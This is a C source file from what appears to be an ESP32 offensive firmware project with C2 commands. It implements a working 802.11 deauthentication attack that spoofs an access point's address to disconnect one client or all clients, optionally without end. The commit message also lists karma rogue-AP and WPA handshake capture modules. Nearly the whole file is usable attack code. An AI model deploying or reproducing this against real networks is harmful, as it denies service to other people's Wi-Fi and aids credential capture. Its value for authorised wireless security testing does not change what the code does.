espilon-source/espilon_bot/components/mod_redteam/rt_deauth.c
Eun0us 2315979db0
Some checks failed
Discord Push Notification / notify (push) Has been cancelled
ε - Add WiFi offensive capabilities to mod_redteam
Phase 1 of v0.4.0 offensive modules:

- Promiscuous dispatcher (rt_promisc): shared IRAM callback multiplexer
  for stealth scan, karma, capture — solves single-callback ESP-IDF limit
- Attack manager (rt_attack): mutual exclusion ensuring only one
  offensive operation runs at a time
- Deauth refactored to use shared promisc dispatcher + attack lock
- Stealth passive scan migrated to promisc dispatcher
- Karma attack (rt_karma): probe request listener + probe response
  injection + rogue SoftAP with most-requested SSID + DNS responder
- WPA handshake capture (rt_capture): EAPOL frame capture via
  promiscuous DATA filter, 4-way handshake identification, optional
  deauth burst to trigger reconnection
- Kconfig: RT_BEACON, RT_KARMA, RT_CAPTURE toggle options
- 5 new C2 commands: rt_karma, rt_karma_stop, rt_karma_clients,
  rt_capture, rt_capture_stop (14 total in mod_redteam)
2026-03-01 02:08:28 +01:00

207 lines
5.8 KiB
C

/*
* rt_deauth.c
* 802.11 deauthentication frame injection via esp_wifi_80211_tx().
*
* Sends deauth frames to disconnect clients from an AP.
* Supports targeted (single client) and broadcast (all clients) modes.
*
* Uses rt_promisc for promiscuous mode management and rt_attack for
* mutual exclusion with other offensive operations.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "rt_deauth.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#define TAG "RT_DEAUTH"
/* ============================================================
* 802.11 Deauth frame (26 bytes)
* ============================================================
*
* Frame Control: 0x00C0 (type=0 mgmt, subtype=0xC deauth)
* Duration: 0x0000
* Addr1: Destination (client or FF:FF:FF:FF:FF:FF)
* Addr2: Source (BSSID — we impersonate the AP)
* Addr3: BSSID
* Seq Control: 0x0000 (auto-filled by driver if en_sys_seq=true)
* Reason Code: 0x0007 (Class 3 frame from nonassociated STA)
*/
typedef struct __attribute__((packed)) {
uint16_t frame_ctrl;
uint16_t duration;
uint8_t addr1[6]; /* receiver */
uint8_t addr2[6]; /* transmitter (spoofed AP) */
uint8_t addr3[6]; /* BSSID */
uint16_t seq_ctrl;
uint16_t reason;
} deauth_frame_t;
_Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes");
static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
/* Task state */
static TaskHandle_t s_task = NULL;
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
/* Parameters passed to the task */
typedef struct {
uint8_t bssid[6];
uint8_t client[6];
bool broadcast;
uint8_t channel;
uint32_t count;
uint32_t delay_ms;
} deauth_params_t;
static deauth_params_t s_params;
/* ============================================================
* Deauth task — runs on Core 1
* ============================================================ */
static void deauth_task(void *arg)
{
deauth_params_t *p = (deauth_params_t *)arg;
/* Switch to target channel via the shared dispatcher */
if (p->channel > 0 && p->channel <= 13) {
rt_promisc_enable();
rt_promisc_set_channel(p->channel);
}
/* Build the deauth frame */
deauth_frame_t frame;
memset(&frame, 0, sizeof(frame));
frame.frame_ctrl = 0x00C0; /* deauth */
frame.reason = 0x0007; /* Class 3 frame from nonassociated STA */
/* Addr2/Addr3 = BSSID (we pretend to be the AP) */
memcpy(frame.addr2, p->bssid, 6);
memcpy(frame.addr3, p->bssid, 6);
/* Addr1 = target client or broadcast */
if (p->broadcast) {
memcpy(frame.addr1, BROADCAST_MAC, 6);
} else {
memcpy(frame.addr1, p->client, 6);
}
uint32_t delay = p->delay_ms ? p->delay_ms : 10;
uint32_t sent = 0;
bool continuous = (p->count == 0);
ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X "
"target=%s ch=%d count=%s delay=%"PRIu32"ms",
p->bssid[0], p->bssid[1], p->bssid[2],
p->bssid[3], p->bssid[4], p->bssid[5],
p->broadcast ? "broadcast" : "targeted",
p->channel,
continuous ? "infinite" : "finite",
delay);
while (atomic_load(&s_active)) {
/* Send deauth from AP to client */
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
/* Also send deauth from client to AP (bidirectional) */
if (!p->broadcast) {
deauth_frame_t rev;
memcpy(&rev, &frame, sizeof(rev));
memcpy(rev.addr1, p->bssid, 6); /* receiver = AP */
memcpy(rev.addr2, p->client, 6); /* transmitter = client */
/* addr3 stays = BSSID */
esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false);
}
sent++;
if (!continuous && sent >= p->count) {
break;
}
vTaskDelay(pdMS_TO_TICKS(delay));
}
ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2));
rt_promisc_disable();
rt_attack_stop();
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void rt_deauth_start(const uint8_t bssid[6],
const uint8_t *client,
uint8_t channel,
uint32_t count,
uint32_t delay_ms)
{
if (atomic_load(&s_active)) {
rt_deauth_stop();
vTaskDelay(pdMS_TO_TICKS(100));
}
/* Acquire the attack lock */
if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) {
ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)",
rt_attack_name());
return;
}
memcpy(s_params.bssid, bssid, 6);
if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) {
memcpy(s_params.client, BROADCAST_MAC, 6);
s_params.broadcast = true;
} else {
memcpy(s_params.client, client, 6);
s_params.broadcast = false;
}
s_params.channel = channel;
s_params.count = count;
s_params.delay_ms = delay_ms;
atomic_store(&s_active, true);
xTaskCreatePinnedToCore(
deauth_task,
"rt_deauth",
4096,
&s_params,
6,
&s_task,
1 /* Core 1 */
);
}
void rt_deauth_stop(void)
{
atomic_store(&s_active, false);
/* Task will self-delete and release the attack lock */
}
bool rt_deauth_is_active(void)
{
return atomic_load(&s_active);
}
#endif /* CONFIG_MODULE_REDTEAM */